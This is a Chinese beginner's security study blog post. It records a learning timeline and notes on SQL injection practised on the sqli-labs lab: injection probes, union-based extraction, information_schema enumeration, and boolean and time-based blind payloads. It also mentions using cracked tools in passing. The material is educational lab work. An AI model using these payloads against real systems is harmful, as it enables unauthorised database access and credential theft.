20200226 SQL注入及杂项
记录
自从10多号开始自学安全后，感觉速度快了点，怕忘记就在本地每天打卡总结，但今天突发奇想为何不在网上打卡捏，于是就有了本文
稍微记录几个时间点：
-
20190522 了解到了有CTF这个比赛
-
201911 突然开始学逆向，我也不知道为何要先学逆向（Web安全不香吗），不过一周后就没学了，其实就是懒！
-
20191210 开始学DVWA，学会使用PHPstudy，DVWA粗略学了点，没啥感觉
-
201912 加入了一个教学群
-
202001 图书馆借了基本书打算寒假看，一本道哥的，一本将XSS，一本kali，但是根本看不进去（太真实了）
-
20200209 B站上发现了一个很基础的安全教程（网易云课堂的，帮运过来的，后来要到了免费资源链接就去看了看，真的是最最基础的教程，很良心！原本这段时间我是打算练魔方的，打算avg11的，但我选择了安全。之后的一周就在看这个视频，不过看得慢，想打好基础。
-
20200217 第一次做题，网址是http://hackthissite.org/就是那个教程分享的，过是一个外国网站，稍有吃力
-
20200220 加入了bugbank入门群，解决了burpsuite无法抓取https包的问题
-
20200221 来到了HackingLab开始了做题之旅了，结合之前的教程以及网上的WP慢慢学习，一天时间才从选择题和基础关做到脚本关第2题，这一题是要写一个脚本，这也是我的第一个脚本。
-
20200222 因为之前稍微了解python，要写脚本就复习了下python，了解request模块和re模块及正则表达式，说实话，我的学习力比较差，一开始就单单re模块和正则那部分学了半个上午半个下午，晚饭前终于搞定了那个脚本
-
20200223 遇到了一个巨难的题（脚本关第8题），是一个关于PHP代码审计的，这一题做完的时候天已经黑了
SQL I‘m coming
从24号左右就开始了注入关，前三关看WP还是比较简单的，但是我是边看边学的，对于SQL注入的基本原理就不是很清楚，于是25号就打算单开一天学SQL注入，结果……我太年轻了，到了那天晚上才发现SQL不简单，所以接下来的一周时间基本上就是与SQL注入打交道了，视频的话，我是看B站上的 crow up主的sqli教程，其余就参考网上的文章
主要就是通过sqli-labs这个平台学习，里面的SQL注入类型丰富，够啃一阵子了
前两日SQL注入总结 (ง'-')ง
之前学得有点零散，早上也起得比较晚，就打算总结前两天所学的
基本SQL注入步骤
- 找到注入点
1' or 1=1 #
1 or 1=1
1" or 1=1 #
1') or 1=1 #
-- 一些编码
’ %27
# %23
%20
“ %22
- 看有没有回显
order by 3#
-1' union select 1,2,3#
-- 没有回显的话，就属于盲注系列了
- 获取数据
select database();
select user();
select version();
select @@datadir; # MySQL安装路径
select @@version_compile_os; #电脑系统
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema = 'security';
select column_name from information_schema.column where column_schema = 'users';
select username,password from security.users;
有趣的函数(ง'-')ง
group_concat("name") # 列举name列所有字段
concat_ws('~',name,password) # 以name~password形式输出
concat（”name“） # 用法类似
盲注 (・ω・)=つ
来人，上笔记！
盲注 布尔型
跑库名
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
1' or substr((select database()),1,1)='s'#
1' or substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I'#
跑表名
+----------------+
| SecurityTables |
+----------------+
| emails |
| referers |
| uagents |
| users |
+----------------+
1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'#
跑列名
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
1' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)# //不同库会有相同的列名
1' or select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,10) c#
这里最好把库名和列名都写出了，避免出现不同库相同列名的情况
跑字段
1' and select substr((select username from security.users limit 0,1),1,1)#
盲注 延时型
跑库名
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
1' or if(substr((select database()),1,1)='s',1,sleep(5)) #
1' or if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I',1,sleep(5)) #
跑表名
+----------------+
| SecurityTables |
+----------------+
| emails |
| referers |
| uagents |
| users |
+----------------+
1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(5))#
跑列名
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
//精确到了库和表，是可以跑出id的
1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(5))#
跑字段
1' and if(substr((select username from security.users limit 0,1),1,1)='D',1,sleep(5));
杂项 _(:τ」∠) _
-
burpsuite抓不到本地包
学安全避免不了破解版工具的使用，前几天的burpsuite能抓远程包，今天突然抓不到本地包了，郁闷~~
后来将localhost和127.0.0.1改为本地的IP地址就可以了（比如http://192.168.1.1/sqli/less-11）
PS：没想到这个markdown编辑功能这么差，哎，代码块部分明天在处理下，有点难看。。。
